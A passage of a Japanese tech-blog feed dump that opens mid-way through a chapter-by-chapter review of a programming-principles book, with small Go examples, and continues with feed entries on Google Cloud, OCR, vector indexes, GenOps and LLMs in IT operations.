0}このような単純な関数に対してコメントを追加するのは、かえって可読性を下げる可能性があります。命名の重要性著者は、適切な命名の重要性を強調しています。これは、コードの自己説明性を高める上で最も重要な要素の一つです。私の経験上、適切な命名は、コードレビューの効率を大幅に向上させます。例えば、あるプロジェクトでは、変数名や関数名の命名規則を厳格に定め、チーム全体で遵守しました。その結果、コードの理解とレビューにかかる時間が大幅に削減されました。Golangでは、命名規則が言語仕様の一部として定義されています。例えば、パッケージ外からアクセス可能な識別子は大文字で始める必要があります。これにより、コードの意図がより明確になります:type User struct { ID int // パッケージ外からアクセス可能 name string // パッケージ内でのみアクセス可能}コードの構造化と整形著者は、コードの構造化と整形の重要性についても言及しています。適切に構造化されたコードは、読み手にとって理解しやすくなります。この点について、Golangはgofmtというツールを提供しており、コードの自動整形を行うことができます。これにより、チーム全体で一貫したコードスタイルを維持することが容易になります。まとめ「Let Your Code Tell Its Own Story」という原則は、現代のソフトウェア開発において重要です。特に、チーム開発やオープンソースプロジェクトでは、コードの可読性と自己説明性が、プロジェクトの成功を左右する重要な要因となります。Golangの文脈では、言語自体が読みやすさと簡潔さを重視しているため、この原則を適用しやすい環境が整っていると言えます。しかし、それでも開発者の意識的な努力が必要です。最後に、この原則は単にコーディングスキルの向上だけでなく、チームのコミュニケーションの改善にもつながります。コードが自らの物語を語ることができれば、チームメンバー間の理解が深まり、結果としてプロジェクト全体の生産性が向上するでしょう。この章から学んだ最も重要な教訓は、コードは他の開発者(そして未来の自分)に向けて書くべきだということです。これは、日々の開発の中で常に意識し、実践していく必要があります。Rule 19. Rework in Parallel第19章「Rework in Parallel」は、大規模なコードベースの改修に関する重要な戦略を提示しています。著者は、並行して新旧のシステムを動作させることで、リスクを最小限に抑えつつ段階的に改修を進める方法を詳細に解説しています。この章を通じて、著者は大規模なリファクタリングや機能追加におけるベストプラクティスを示し、ソフトウェア開発の現場で直面する現実的な課題に対する洞察を提供しています。Go言語による並行処理作者:Katherine Cox-BudayオライリージャパンAmazon並行リワークの必要性著者は、大規模なコードベースの改修が必要となる状況から話を始めています。例えば、チームでの開発や、長期にわたるプロジェクトでは、単純な「チェックアウト→修正→コミット」のモデルでは対応しきれない場合があります。特に、他の開発者との協業が必要な場合や、改修作業が長期化する場合には、従来のブランチモデルでは様々な問題が発生する可能性があります。私自身、過去に大規模なマイクロサービスのリアーキテクチャプロジェクトに携わった際、長期間のブランチ作業による問題を経験しました。メインブランチとの統合が困難になり、結果として予定以上の時間とリソースを要してしまいました。著者の指摘する問題点は、現実のプロジェクトでも頻繁に発生する課題だと強く共感します。並行システムの構築著者が提案する解決策は、新旧のシステムを並行して動作させる「duplicate-and-switch」モデルです。この方法では、既存のシステムを変更する代わりに、並行システムを構築します。新システムは開発中でもメインブランチにコミットされますが、ランタイムスイッチによって制御され、最初は小規模なチームでのみ使用されます。このアプローチは、Kent Beckの「For each desired change, make the change easy (warning: this may be hard), then make the easy change」という格言を大規模プロジェクトに適用したものと言えます。私も以前、レガシーシステムの段階的な置き換えプロジェクトで類似のアプローチを採用しましたが、確かにリスクを抑えつつ改修を進められた経験があります。具体例:スタックベースのメモリアロケータ著者は、具体例としてスタックベースのメモリアロケータの改修を挙げています。この例は、低レベルのシステムコンポーネントの改修という点で興味深いものです。スタックベースのアロケーションは、高速で効率的なメモリ管理を可能にしますが、同時に複雑な課題も抱えています。著者が示した問題点、特に異なるスタックコンテキスト間での操作の困難さは、私が以前関わった分散システムのメモリ管理でも直面した課題です。この種の問題は、単純なリファクタリングでは解決が難しく、システム全体の再設計が必要になることがあります。並行リワークの実践著者は、並行リワークの実践方法を段階的に説明しています。特に印象的だったのは、以下の点です:新旧のシステムを切り替えるためのグローバルフラグの導入アダプタクラスを使用した新旧システムの橋渡し段階的な移行と継続的なテストこのアプローチは、リスクを最小限に抑えつつ大規模な変更を行うための優れた戦略だと感じました。私自身、似たようなアプローチを採用してデータベースシステムの移行を行った経験がありますが、確かに安全性と柔軟性の両立に効果的でした。並行リワークの適用タイミング著者は、並行リワークが常に最適な解決策ではないことも指摘しています。この戦略はオーバーヘッドを伴うため、適用するタイミングと状況を慎重に見極める必要があります。私見では、以下のような状況で並行リワークが特に有効だと考えます:長期的な大規模リファクタリングプロジェクトクリティカルなシステムコンポーネントの置き換え新旧システム間の段階的な移行が必要な場合一方で、小規模な変更や短期的なプロジェクトでは、従来のブランチモデルの方が適している場合もあります。まとめ「Rework in Parallel」の原則は、大規模なソフトウェア開発プロジェクトにおいて重要な戦略を提供しています。この手法を適切に適用することで、リスクを最小限に抑えつつ、大規模な改修や機能追加を実現できます。著者の提案するアプローチは、現代の開発環境、特にマイクロサービスアーキテクチャやクラウドネイティブ開発において有用です。例えば、新旧のサービスを並行して稼働させ、トラフィックを段階的に移行するような戦略は、この原則の自然な拡張と言えるでしょう。しかし、この手法を適用する際は、プロジェクトの規模や性質、チームの状況などを十分に考慮する必要があります。また、並行リワークを成功させるためには、強力な自動化テストやCI/CDパイプライン、モニタリングシステムなどの支援が不可欠です。個人的な経験を踏まえると、この手法は特に長期的な保守性と拡張性の向上に大きく貢献します。短期的には追加の労力が必要になりますが、長期的にはテクニカルデットの削減とシステムの健全性維持に大きく寄与すると確信しています。最後に、この章から学んだ最も重要な教訓は、大規模な変更を行う際は、リスクを分散させ、段階的にアプローチすることの重要性です。これは、日々の開発作業から大規模なシステム設計まで、あらゆる場面で活用できる貴重な思考法だと言えるでしょう。今後のプロジェクトでは、この原則を念頭に置きつつ、より安全で効果的な開発戦略を立案していきたいと考えています。Rule 20. Do the Math第20章「Do the Math」は、プログラミングにおける数学的思考の重要性を強調しています。著者は、多くのプログラミングの決定が定性的なものである一方で、数学的な分析が有効な場面も多々あることを指摘しています。この章を通じて、著者は単純な計算が問題解決のアプローチの妥当性を検証する上で、いかに重要であるかを具体的な例を挙げながら説明しています。問題解決のための「アルゴリズム\xd7数学」が基礎からしっかり身につく本作者:米田 優峻技術評論社Amazon自動化の判断著者は、タスクの自動化を例に挙げ、数学的思考の重要性を説明しています。自動化するかどうかの判断は、単純な数学の問題に帰着します。コードを書くのにかかる時間と、手動でタスクを繰り返す時間を比較し、前者の方が短ければ自動化する価値があるというわけです。この考え方は一見当たり前に思えますが、実際の開発現場ではこの単純な計算が軽視されがちです。私自身、過去のプロジェクトで、チームメンバーが十分な検討もなしに自動化に走り、結果として無駄な工数を費やしてしまった経験があります。著者の指摘する「自動化の判断」は、特にデプロイメントプロセスやテスト自動化の文脈で重要です。例えば、CI/CDパイプラインの構築を検討する際、その構築コストと、手動デプロイメントにかかる時間を比較検討することが重要です。ただし、この計算には定量化しづらい要素(例:人的ミスの削減、チームの士気向上)も含まれるため、純粋な数学だけでなく、総合的な判断が必要になります。ハードリミットの重要性著者は、問題空間や解決策におけるハードリミット(固定的な制約)の重要性を強調しています。ゲーム開発を例に、メモリ容量やネットワーク帯域幅などの制約が、設計プロセスにおいて重要な役割を果たすことを説明しています。この考え方は、ゲーム開発に限らず、多くのソフトウェア開発プロジェクトに適用できます。例えば、マイクロサービスアーキテクチャを採用する際、各サービスのリソース制限(CPU、メモリ、ネットワーク帯域)を明確に定義し、それに基づいてシステム設計を行うことが重要です。著者の提案する「ハードリミットの設定」は、特にパフォーマンスクリティカルなシステムの設計において有効です。例えば、高頻度取引システムの設計では、レイテンシの上限を明確に定義し、それを満たすようなアーキテクチャを検討することが重要です。数学の変化への対応著者は、要件の変更に伴い、数学的な計算も再評価する必要があることを指摘しています。これは、アジャイル開発の文脈で特に重要です。要件が頻繁に変更される環境では、定期的に数学的な再評価を行い、アプローチの妥当性を確認することが重要です。例えば、スケーラビリティを考慮したシステム設計において、想定ユーザー数や処理データ量が変更された場合、それに応じてインフラストラクチャのキャパシティプランニングを再計算する必要があります。定量的分析から定性的判断へ著者は、純粋な数学的アプローチだけでなく、定性的な要素も考慮することの重要性を強調しています。例えば、タスクの自動化において、時間の節約だけでなく、エラーの削減やチームの満足度向上といった定性的な要素も考慮に入れる必要があります。この考え方は、技術的負債の管理にも適用できます。リファクタリングの判断において、純粋なコスト計算だけでなく、コードの可読性向上やメンテナンス性の改善といった定性的な要素も考慮に入れる必要があります。まとめ「Do the Math」の原則は、ソフトウェア開発における意思決定プロセスに数学的思考を取り入れることの重要性を強調しています。この原則は、特に大規模で複雑なシステムの設計や、リソース制約のある環境での開発において有用です。著者の提案するアプローチは、現代の開発環境、特にクラウドネイティブ開発やマイクロサービスアーキテクチャにおいて重要です。リソースの最適化、コストの最小化、パフォーマンスの最大化といった課題に直面する際、数学的な分析は不可欠です。しかし、純粋な数学だけでなく、定性的な要素も考慮に入れることの重要性も忘れてはいけません。ソフトウェア開発は単なる数字の問題ではなく、人間の創造性や協力関係が重要な役割を果たす分野です。私自身の経験を踏まえると、この原則は特にパフォーマンスチューニングやシステム設計の場面で有用です。例えば、データベースのインデックス設計やキャッシュ戦略の検討において、数学的な分析は不可欠でした。同時に、チームの習熟度や保守性といった定性的な要素も考慮に入れることで、より良い意思決定ができました。最後に、この章から学んだ最も重要な教訓は、数学的思考と定性的判断のバランスを取ることの重要性です。純粋な数学だけでなく、プロジェクトの文脈や長期的な影響も考慮に入れた総合的な判断が、成功するソフトウェア開発の鍵となります。今後のプロジェクトでは、この原則を念頭に置きつつ、より良い意思決定のための枠組みを作っていきたいと考えています。Rule 21. Sometimes You Just Need to Hammer the Nails第21章「Sometimes You Just Need to Hammer the Nails」は、プログラミングにおける地道な作業の重要性を強調しています。著者は、創造的で知的な挑戦が多いプログラミングの世界でも、時には単純で退屈な作業が必要不可欠であることを説いています。この章を通じて、著者は「面倒な作業を避けない」ことの重要性と、それがソフトウェア開発プロジェクト全体にどのような影響を与えるかを明確に示しています。地道力[新版] 目先の追求だけでは、成功も幸せも得られない!作者:國分 利治PHP研究所Amazon本書の最後にこのような泥臭い作業の重要性を説くルールを紹介しているのは、この書籍の優れた点の一つだと言えるでしょう。この章は、プログラミングの現実的な側面を忘れずに、理想と実践のバランスを取ることの大切さを読者に印象づけています。プログラマーの三大美徳との関連この章の内容は、かつてよく知られていた「プログラマーの三大美徳」と密接に関連しています。これらの美徳は「怠慢」「短気」「傲慢」であり、一見ネガティブに聞こえますが、実際には優れたプログラマーの特質を表しています。怠慢:全体の労力を減らすために手間を惜しまない気質。例えば、繰り返し作業を自動化したり、再利用可能なコンポーネントを作成したりすることで、長期的な効率を向上させます。短気:コンピューターの非効率さに対する怒り。この特質は、現在の問題だけでなく、将来起こりうる問題も予測して対応しようとする姿勢につながります。傲慢:自分のコードに対する高い誇りと責任感。これは、保守性や可読性、柔軟性の高いコードを書こうとする姿勢に現れます。これらの美徳は、「Sometimes You Just Need to Hammer the Nails」の原則と補完的な関係にあります。地道な作業を避けないことは、長期的には「怠慢」な姿勢(良い意味で)につながり、「短気」な気質は将来の問題を予見して対処することを促します。そして、「傲慢」さは、たとえ退屈な作業であっても、高品質なコードを維持しようとする態度を支えます。地道な作業の必要性著者は、プログラミングの仕事には避けられない退屈な作業があることを指摘しています。これらの作業は魅力的ではなく、多くの開発者が積極的に取り組みたがらないものです。しかし、著者はこれらの作業を避けることの危険性を強調しています。大規模なリファクタリングプロジェクトでは、コードベース全体にわたる変更が必要で、その多くが単純で退屈な作業となることがあります。チームの中には、この作業を後回しにしたがる人もいますが、結果的にそれが技術的負債となり、プロジェクトの後半で大きな問題となる可能性があります。著者の指摘する「地道な作業を避けない」という原則は、特にレガシーシステムの保守や大規模なアーキテクチャ変更において重要です。例えば、古い認証システムから新しいOAuth2.0ベースのシステムへの移行を行う際、数百のAPIエンドポイントを一つずつ更新していく必要があるかもしれません。この作業は単調で退屈ですが、避けて通ることはできません。新しい引数の追加著者は、関数に新しい引数を追加する場合の例を挙げています。この状況では、既存のコードベース全体を更新する必要がありますが、多くの開発者はこの作業を避けたがります。著者は、デフォルト引数やオーバーロードを使用して作業を回避することの危険性を指摘しています。Golangの場合、デフォルト引数やオーバーロードがサポートされていないため、関数のシグネチャを変更する際は特に注意が必要です。例えば:// 変更前func findNearbyCharacters(point Point, maxDistance float64) []Character { // 実装}// 変更後func findNearbyCharacters(point Point, maxDistance float64, excludeCharacters []Character) []Character { // 実装}この変更は単純ですが、大規模なコードベースでは膨大な時間がかかる可能性があります。しかし、著者の指摘通り、この作業を避けることは長期的には問題を引き起こす可能性が高いです。バグの修正と波及効果著者は、一つのバグを修正した際に、同様のバグが他の箇所にも存在する可能性を指摘しています。これは重要な指摘で、セキュリティ問題などで特に注意が必要です。例えば、データベースクエリのSQLインジェクション脆弱性を発見した場合、同様の脆弱性が他の箇所にも存在する可能性を考え、コードベース全体を調査する必要があります。この調査と修正作業は退屈で時間がかかりますが、セキュリティ上重要です。自動化の誘惑著者は、退屈な作業に直面したときに、多くのプログラマーが自動化を試みる傾向があることを指摘しています。自動化は確かに強力ですが、それが本当に必要かどうかを冷静に判断することが重要です。例えば、コードフォーマットの問題に直面したとき、すぐにカスタムツールの開発に飛びつくのではなく、まず既存のツール(Goならgofmtやgoimports)を活用することを検討すべきです。ファイルサイズの管理著者は、ソースファイルが時間とともに大きくなっていく問題に言及しています。これは多くの開発者が経験する問題で、巨大なファイルはコードの理解を難しくします。Goの場合、パッケージレベルでの分割やインターフェースを活用したモジュール化が効果的な解決策となります。例えば:// main.gopackage mainimport ( \\"myapp/user\\" \\"myapp/order\\")func main() { // メイン処理}// user/user.gopackage usertype Service struct { // ユーザー関連の処理}// order/order.gopackage ordertype Service struct { // 注文関連の処理}このようなアプローチは、コードの管理を容易にし、チームの生産性を向上させます。まとめ「Sometimes You Just Need to Hammer the Nails」の原則は、ソフトウェア開発における地道な作業の重要性を強調しています。この原則は、特に大規模で長期的なプロジェクトにおいて重要です。プログラマーの三大美徳(怠慢、短気、傲慢)と組み合わせて考えると、この原則の重要性がより明確になります。地道な作業を避けないことは、長期的には効率を向上させ(怠慢)、将来の問題を予防し(短気)、高品質なコードを維持する(傲慢)ことにつながります。著者の提案するアプローチは、現代の開発環境、特にアジャイル開発やデブオプスの文脈で重要です。継続的インテグレーションや継続的デリバリーの実践において、小さな改善や修正を積み重ねることの重要性は増しています。しかし、ただ単に退屈な作業をこなすだけでは不十分です。重要なのは、これらの作業がプロジェクト全体にどのような影響を与えるかを理解し、戦略的に取り組むことです。例えば、レガシーコードの段階的な改善や、技術的負債の計画的な返済などが考えられます。この原則は特にチーム全体の文化と密接に関連しています。「退屈な作業も重要だ」という認識をチーム全体で共有し、それを評価する文化を築くことが、長期的には大きな差を生みます。例えば、週に1日を「技術的負債の返済日」として設定し、チーム全体でリファクタリングや文書化、テストカバレッジの向上などに取り組むことで、長期的にはコードの品質向上と開発速度の維持につながります。最後に、この章から学んだ最も重要な教訓は、短期的な不快感と長期的な利益のバランスを取ることの重要性です。退屈な作業を避けることで得られる一時的な快感よりも、それを適切に行うことで得られる長期的な利益の方がはるかに大きいのです。今後のプロジェクトでは、この原則を念頭に置きつつ、チーム全体で地道な作業の重要性を認識し、それを効果的に進める方法を模索していくことが重要です。おわりに本書は、長年のゲーム開発経験から抽出された貴重な知恵の宝庫です。本書で提示された21のルールは、プログラミングの技術的側面だけでなく、ソフトウェア開発のプロセス全体に適用できる普遍的な価値を持っています。しかし、著者が強調しているように、これらのルールを鵜呑みにするのではなく、批判的に考え、自身の環境に適応させることが重要です。技術の進歩や開発手法の変化に伴い、プログラミングの原則も進化していく必要があります。本書を読んで、私は自身のコーディング習慣や設計アプローチを見直すきっかけを得ました。同時に、チーム全体でこれらの原則について議論し、共通の理解を築くことの重要性を再認識しました。最後に、本書はプログラミングの技術書であると同時に、ソフトウェア開発の哲学書でもあります。単に「どのようにコードを書くか」だけでなく、「なぜそのようにコードを書くべきか」について深く考えさせられます。この本は、経験レベルに関わらず、すべてのプログラマーにとって価値ある一冊だと確信しています。今後も、この本で学んだ原則を実践しながら、自身の経験を通じてさらに理解を深めていきたいと思います。エンジニアはソフトスキルよりもハードスキルを磨くべきであり、昔読んだリーダブルコードばかり紹介せずに、新しい知見を学び続けることが重要です。常に進化する技術に対応するため、新しい知識を積極的に吸収していく姿勢が必要不可欠だと考えています。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-09-15T06:17:38.000Z","dateMiliSeconds":1726381058000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Google Cloud でのプロンプト管理は Vertex AI Studio を使おう","link":"https://zenn.dev/kimitsu/articles/google-cloud-temporary-prompt-version-management","contentSnippet":"背景Google Cloud では Google Cloud Next \'24 にて Vertex AI Studio の Prompt Version Management とその SDK Support が発表されました。[1]将来的には Google Cloud におけるプロンプト管理はこの機能を使うことになると思われますが、本記事執筆時点では SDK Support は公開されていません。そのため現時点で Google Cloud でプロンプトを管理するのにどのサービスを使うべきか検討した結果を共有します。検討にあたっては以下の観点を考慮しました。バージョン管理機...","isoDate":"2024-09-14T15:52:30.000Z","dateMiliSeconds":1726329150000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"Platform Engineering の視点から考える、Kubernetes Load Balancing の比較","link":"https://sreake.com/blog/kubernetes-load-balancing-comparison-on-platform-engineering-view-point/","contentSnippet":"自己紹介 井上 裕介 千葉工業大学 情報科学部 情報工学科 学部4年の井上裕介と申します。大学では主に遺伝的アルゴリズムの改良に関する研究を行っています。2023年のサマーインターンから引き続きSreake事業部にて技術 […]The post Platform Engineering の視点から考える、Kubernetes Load Balancing の比較 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-09-13T02:59:01.000Z","dateMiliSeconds":1726196341000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「DevOps – サービス」のスペシャライゼーション認定を取得","link":"https://sreake.com/blog/google-cloud-partner-advantage-devops/","contentSnippet":"Google Cloud Sell および Service エンゲージメントモデルのプレミアパートナーである株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、Google Cloud Partner Advantage プログラムにおいて、「DevOps - サービス」のスペシャライゼーション認定を取得したことをお知らせします。The post スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「DevOps – サービス」のスペシャライゼーション認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-09-13T01:00:00.000Z","dateMiliSeconds":1726189200000,"authorName":"Sreake","authorId":"Sreake"},{"title":"AIを用いたOCR","link":"https://shu-kob.hateblo.jp/entry/2024/09/11/223456","contentSnippet":"OCRとは、Optical Character Recognitionの略で、日本語では光学文字認識といいます。OCRとは何か?OCRは、スキャンした書類や画像に含まれる文字を、コンピュータが読み取り、テキストデータに変換する技術です。つまり、紙に書かれた文字をデジタルの文字に変えて、パソコンで編集したり、検索したりできるようにするものです。OCRの仕組み画像の取り込み: スキャナーやデジタルカメラで、文字が書かれた紙の画像を撮影します。画像の前処理: 画像のノイズ除去や歪みの修正など、文字認識を円滑に行うための処理を行います。文字の切り出し: 画像から文字を一つずつ切り出します。文字の認識: 切り出した文字を、事前に登録された文字のパターンと照合し、どの文字か判定します。テキストデータへの変換: 認識された文字を、テキストデータに変換します。OCRの活用例書類のデジタル化: 紙の書類をスキャンしてテキストデータに変換することで、電子化し、保管や検索を効率化できます。データ入力の自動化: 請求書や領収書などの文字情報を自動的に読み込むことで、データ入力の手間を大幅に削減できます。検索の効率化: テキストデータに変換された文書は、キーワード検索が可能になり、必要な情報に素早くアクセスできます。翻訳: OCRでテキストデータに変換した後に、翻訳ソフトウェアを使って他の言語に翻訳することができます。OCRのメリット作業の効率化: 手作業でのデータ入力に比べて、大幅に作業時間を短縮できます。正確性の向上: 人による入力ミスを減らすことができ、データの正確性を高めます。コスト削減: 人件費の削減につながります。ペーパーレス化: 紙の書類を電子化することで、保管スペースを削減し、環境にも優しいです。OCRの種類OCRには、大きく分けて以下の2種類があります。OCRエンジン: ソフトウェア開発者が、OCR機能を自社のアプリケーションに組み込むために利用するソフトウェアです。OCRサービス: クラウド上で提供されるOCR機能で、APIなどを利用して簡単にOCR機能を導入できます。OCRの選び方OCRを選ぶ際には、以下の点に注意しましょう。認識精度: どの程度の精度で文字を認識できるか。対応言語: どの言語に対応しているか。対応フォント: どのフォントに対応しているか。対応ファイル形式: どのファイル形式に対応しているか。価格: 有料か無料か、料金体系はどうか。AIを用いたOCRcloud.google.comGoogle CloudなどパブリッククラウドでOCR機能が提供されています。Geminiで使用することもできます。OCRの活用の幅が広がり、工数削減に役立ちそうですね。まとめOCRは、紙の文書をデジタル化し、業務効率化に貢献する便利な技術です。様々な分野で活用されており、今後もその重要性はますます高まっていくでしょう。","isoDate":"2024-09-11T13:34:56.000Z","dateMiliSeconds":1726061696000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Apple Intelligence触ってみたい","link":"https://shu-kob.hateblo.jp/entry/2024/09/10/235654","contentSnippet":"k-tai.watch.impress.co.jpiPhone16で、Apple Intelligenceという名の生成AIが搭載されるようですね。Xなどではいまいち、盛り上がりに欠けているものの、生成AIを生業にするものとしては、触ってみたいです。Google PixelがGeminiを搭載したAIスマホとして売り出されていますが、iPhone・Apple Watch・Macユーザとしては、引き続きiPhoneですかね。Geminiは好きなので、Google Pixel欲しい気もしますがww","isoDate":"2024-09-10T14:56:54.000Z","dateMiliSeconds":1725980214000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"GKE Observabilityツール – Cloud Service MeshとCiliumの比較","link":"https://sreake.com/blog/cloud-service-mesh-cilium-comparison/","contentSnippet":"はじめに extended Berkley Packet Filter (eBPF) は、Linuxのカーネルに組み込まれた技術で、カーネルに直接変更を加えることなくプログラムを安全にカーネル内で実行することを可能にしま […]The post GKE Observabilityツール – Cloud Service MeshとCiliumの比較 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-09-09T04:55:11.000Z","dateMiliSeconds":1725857711000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud MonitoringおよびCloud Loggingを用いた監視とアラート通知","link":"https://sreake.com/blog/monitoring-and-alerting-with-cloud-monitoring-and-cloud-logging/","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。普段は、情報系の大学院生で、数値解析に […]The post Cloud MonitoringおよびCloud Loggingを用いた監視とアラート通知 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-09-09T01:05:46.000Z","dateMiliSeconds":1725843946000,"authorName":"Sreake","authorId":"Sreake"},{"title":"生成 AI アプリで収集するべきテレメトリは何か","link":"https://zenn.dev/kimitsu/articles/gen-ai-telemetry","contentSnippet":"2024 年現在、生成 AI のアプリケーションへの応用が進んでおり^{[要出典]}、運用のためのツールやサービスが登場しています。生成 AI 専用のサービスとしては LangSmith と Langfuse が有名で、それぞれモデルへの入出力やトレースなどを取ることができます。監視 SaaS である Datadog でも LLM Observability の機能がリリースされています。また先月末には Google Cloud のブログにて GenOps についての記事が投稿され、その中でロギングや評価についての記載もありました。https://cloud.google.com...","isoDate":"2024-09-08T03:11:06.000Z","dateMiliSeconds":1725765066000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"Google の提唱する GenOps って何?","link":"https://zenn.dev/kimitsu/articles/what-is-genops","contentSnippet":"2024 年 8 月 31 日に Google Cloud のブログにて「GenOps: learning from the world of microservices and traditional DevOps」という記事が投稿されました。https://cloud.google.com/blog/products/devops-sre/genops-learnings-from-microservices-and-traditional-devopsこれまでも LangSmith や Langfuse といった LLMOps ツールや Datadog の LLM Observ...","isoDate":"2024-09-07T07:59:59.000Z","dateMiliSeconds":1725695999000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"生成AIにおけるベクトルインデックス","link":"https://shu-kob.hateblo.jp/entry/2024/09/06/234850","contentSnippet":"生成AIにおけるベクトルインデックス:詳細解説ベクトルインデックスとは?ベクトルインデックスは、生成AIにおいて、テキスト、画像、音声などの非構造化データを、数値のベクトルに変換し、そのベクトル間の類似度に基づいて検索や推薦を行うための技術です。なぜベクトルに変換するのか?意味の理解: 単語の並びだけでなく、単語間の関係性や文脈を数値として表現することで、コンピュータがより深くテキストの意味を理解できるようになります。高速な検索: 高次元空間上のベクトル間の距離を計算することで、従来のキーワード検索よりも高速かつ正確に類似したデータを検索できます。多様なデータの統合: テキストだけでなく、画像や音声などもベクトルに変換することで、異なる種類のデータを統一的に扱うことができます。ベクトルインデックスの仕組みベクトル化: テキストや画像などを、ニューラルネットワークなどのモデルを用いて数値のベクトルに変換します。インデックス作成: 変換されたベクトルを、効率的に検索できるようにインデックスを作成します。ベクトル検索: ユーザーのクエリをベクトル化し、作成されたインデックスから最も類似したベクトルを検索します。ベクトルインデックスの活用事例検索エンジン: キーワードだけでなく、文章の意味に基づいたより精度の高い検索を実現します。推薦システム: ユーザーの興味関心に基づいた商品やコンテンツを推薦します。チャットボット: ユーザーの質問に対して、より自然な回答を生成します。画像検索: 画像の内容に基づいた検索や、類似画像の検索を行います。ベクトルインデックスのメリット高精度な検索: キーワードマッチングだけでなく、意味に基づいた検索が可能になります。柔軟なデータ処理: テキストだけでなく、画像や音声など、様々な種類のデータを扱えます。スケーラビリティ: 大量のデータを効率的に処理できます。ベクトルインデックスの課題次元数の呪い: 高次元空間での計算コストが大きくなることがあります。モデルの選択: どのモデルを用いてベクトルに変換するかが、性能に大きく影響します。解釈の難しさ: ベクトル表現が抽象的であり、人間が直感的に理解することが難しい場合があります。今後の展望ベクトルインデックスは、生成AIのさらなる発展に不可欠な技術です。より大規模なデータセットへの対応、より高精度なベクトル化モデルの開発、そして、ベクトル表現の解釈に関する研究が進められていくことが期待されます。具体的な活用事例eコマース: ユーザーの過去の購入履歴や検索履歴に基づいた商品推薦カスタマーサポート: チャットボットによるFAQ検索や、ユーザーの問い合わせに対する自動応答医療: 医療論文の検索や、診断支援金融: リスク評価や不正検知まとめベクトルインデックスは、生成AIの性能を飛躍的に向上させるための重要な技術です。様々な分野での応用が期待されており、今後もその重要性はますます高まっていくでしょう。さらに詳しく知りたい場合は、以下のキーワードで検索してみてください。ベクトルデータベースベクトル検索自然言語処理機械学習ニューラルネットワーク何か他に聞きたいことがあれば、お気軽にご質問ください。より具体的な質問の例:特定のベクトルデータベースについて詳しく知りたいベクトルインデックスを構築する際の注意点ベクトルインデックスを生成AIの開発にどのように活用できるかこれらの質問に対して、より詳細な情報を提供できます。","isoDate":"2024-09-06T14:48:50.000Z","dateMiliSeconds":1725634130000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cloud Run GPU + Ollama gemma2 のパフォーマンスを図ってみる","link":"https://zenn.dev/satohjohn/articles/912b4c718a8d74","contentSnippet":"概要Google Cloud 上で申請することで、Cloud Run GPU が使えるようになったので実行してみます。https://cloud.google.com/run/docs/configuring/services/gpu?hl=ja申請フォームGoogle Cloud では以下のように、サンプルが載っているので一旦それの通りの沿って、Gemma2 を起動するアプリケーションを作成します。https://cloud.google.com/run/docs/tutorials/gpu-gemma2-with-ollama?hl=jaとはいえ、それだけだとそのまま...","isoDate":"2024-09-06T08:31:03.000Z","dateMiliSeconds":1725611463000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Cloud Operator Days Tokyo 2024 でLLMで運用を改善する時の基本のキを話してきた #CODT2024","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/06/154607","contentSnippet":"はじめにこんにちは。今日、Cloud Operator Days 2024 クロージングイベントにて「2024年版 運用者たちのLLM」というタイトルで登壇させていただきました。この記事では、発表の内容と、それに対する反響、そして個人的な振り返りを共有したいと思います。https://cloudopsdays.com/ より引用発表資料 speakerdeck.com発表の概要今回の発表では、LLM(大規模言語モデル)が運用にもたらす可能性と課題について探りました。主に以下のポイントに焦点を当てて議論を展開しました。AIOpsの文脈におけるLLMの位置づけLLMによる運用タスクの改善インシデント対応ドキュメンテーションコード分析LLM活用における課題「幻覚」問題不完全性とバイアス効果的なLLM活用のための戦略適切な利用方法プロンプトエンジニアリングの重要性発表タイトルを「2024年版 運用者たちのLLM」としたのには、理由があります。AIOpsが流行した際に見られた議論が、LLMについても繰り返されているなぁと感じたからです。仕方ないのですが新しい技術が登場するたびに、その可能性と課題について同様の議論が繰り返されます。この観察から、LLMの運用への適用についても、過去の教訓を活かしつつ、冷静に評価することの重要性を強調したいと考えました。技術の進化は確かに速いですが、基本的な課題や考慮すべき点は、意外にも変わらないことが多いのです。そのため、この発表ではLLMの新しい部分を認識しつつも、過去の類似技術の導入事例から学び、より成熟したアプローチで運用に活かす方法を提案することを目指しました。LLMがもたらす可能性LLMは、自然言語処理能力と豊富な知識ベースを活かして、運用の様々な側面を改善する可能性を秘めています。例えば:インシデント対応:過去の類似事例の迅速な検索と解決策の提案ドキュメンテーション:自動生成や更新、整理による効率化コード分析:バグの検出、最適化の提案、セキュリティ脆弱性の指摘これらでは、運用チームの生産性向上と、人間のエラーを減少させることが期待できます。課題と注意点一方で、運用におけるLLMにはいくつかの重要な課題があります。「幻覚」問題:事実と異なる情報を自信を持って提示してしまう不完全性:最新の情報や専門的な知識が不足している可能性バイアス:学習データに含まれるバイアスが出力に反映されるこれらの課題に対処するためには、LLMの出力を常に人間が検証し、適切に管理することが重要です。効果的な活用に向けてLLMを効果的に活用するためには、以下のアプローチが有効です。明確な利用ガイドラインの策定実行能力を奪っておくプロンプトエンジニアリングのスキル向上人間とLLMの協調作業モデルの確立継続的な学習と改善のプロセス導入反響と今後の展望発表後、参加者から興味深いフィードバックをいただきました。特に、LLMの実際の運用現場での活用事例や、課題への具体的な対処法に関する質問が多く寄せられました。これらの反応から、運用におけるLLM活用はまだ発展途上であり、多